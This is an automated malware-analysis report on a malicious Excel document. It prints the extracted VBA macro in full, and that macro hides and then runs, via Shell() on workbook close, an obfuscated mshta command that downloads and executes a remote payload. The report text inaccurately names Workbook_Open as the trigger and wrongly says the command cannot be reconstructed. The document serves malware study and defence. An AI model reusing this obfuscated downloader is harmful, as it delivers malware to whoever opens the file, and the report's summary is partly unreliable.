Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5ce9874118039c2e…

MALICIOUS

Office (OLE)

35.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel First seen: 2020-09-07
MD5: 133a74203ae924bd087342358a34f7c5 SHA-1: 1f85831bb414c94bf2e68672813888bc1754849d SHA-256: 5ce9874118039c2e7481e0a028401f2f9d21d0f194e23ba672e6e277555e9bb7
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The critical heuristic OLE_VBA_SHELL indicates the presence of a Shell() call within the VBA macros. The deobfuscated script reveals that the Workbook_Open subroutine calls a function that reconstructs and executes a command string using Shell(). This command string is assembled from several parts, which when decoded, likely form a URL or command to download and execute a second-stage payload. The specific command string is not fully reconstructible due to truncation, but the intent is clear.

Heuristics 3

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2929 bytes
SHA-256: 6c499cc732630cfe10fba36d8ce51a83fff4c6c297769987e81058c9d57cc079
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub maachudaa()



J1 = EIjZ2gsuX("qwlxe$lxxt>33n", "4")

J2 = EIjZ2gsuX("2qt3", "4")

J3 = EIjZ2gsuX("od|orrzkvp}}", "3")

J4 = EIjZ2gsuX("oh|q~eqee", "4")

J = J1 + J2 + J3 + J4

Shell (J)

End Sub
Private Function qoVKfULakSSFGhqCfy()
Dim TQKdaxhrxtF As Integer
TQKdaxhrxtF = 14
Do While TQKdaxhrxtF < 37
   DoEvents: TQKdaxhrxtF = TQKdaxhrxtF + 1
Loop

End Function
Public Function DbIlBioHPElggf()
Dim TQKdaxhrxtF As Integer
TQKdaxhrxtF = 14
Do While TQKdaxhrxtF < 37
   DoEvents: TQKdaxhrxtF = TQKdaxhrxtF + 1
Loop
Dim zaLcfiaycGqmbvmdqAjj As Integer
zaLcfiaycGqmbvmdqAjj = 10
Do While zaLcfiaycGqmbvmdqAjj < 22
   DoEvents: zaLcfiaycGqmbvmdqAjj = zaLcfiaycGqmbvmdqAjj + 1
Loop

End Function
Private Function ShOgRVwkhbtrNjHN()
Dim TQKdaxhrxtF As Integer
TQKdaxhrxtF = 14
Do While TQKdaxhrxtF < 37
   DoEvents: TQKdaxhrxtF = TQKdaxhrxtF + 1
Loop
Dim zaLcfiaycGqmbvmdqAjj As Integer
zaLcfiaycGqmbvmdqAjj = 10
Do While zaLcfiaycGqmbvmdqAjj < 22
   DoEvents: zaLcfiaycGqmbvmdqAjj = zaLcfiaycGqmbvmdqAjj + 1
Loop
Dim IKTeZCRkEYRHn As Integer
For IKTeZCRkEYRHn = 4 To 5
   DoEvents
Next IKTeZCRkEYRHn

End Function


Public Function EIjZ2gsuX(strInput As String, second As Integer)

    Dim first As Integer

    

    For first = 1 To Len(strInput)

        Mid(strInput, first, 1) = Chr(Asc(Mid(strInput, first, 1)) - second)

    Next first

    EIjZ2gsuX = strInput

End Function
Private Sub QuHGQbdUuJBmTVqSY()
Dim REfBAdJbNRr As Integer
REfBAdJbNRr = 0
Do While REfBAdJbNRr < 37
   DoEvents: REfBAdJbNRr = REfBAdJbNRr + 1
Loop

End Sub
Public Function mIfDvrDTjEsBZ()
Dim REfBAdJbNRr As Integer
REfBAdJbNRr = 0
Do While REfBAdJbNRr < 37
   DoEvents: REfBAdJbNRr = REfBAdJbNRr + 1
Loop
Dim AFNCjrsqvSa As String
AFNCjrsqvSa = "10"

End Function
Public Function QnrulKaSCkmHkoCyhvUU()
Dim REfBAdJbNRr As Integer
REfBAdJbNRr = 0
Do While REfBAdJbNRr < 37
   DoEvents: REfBAdJbNRr = REfBAdJbNRr + 1
Loop
Dim AFNCjrsqvSa As String
AFNCjrsqvSa = "10"
Dim MsPiHitnFpLvFL As Integer
MsPiHitnFpLvFL = 13
Do While MsPiHitnFpLvFL < 22
   DoEvents: MsPiHitnFpLvFL = MsPiHitnFpLvFL + 1
Loop

End Function








Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)
maachudaa
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True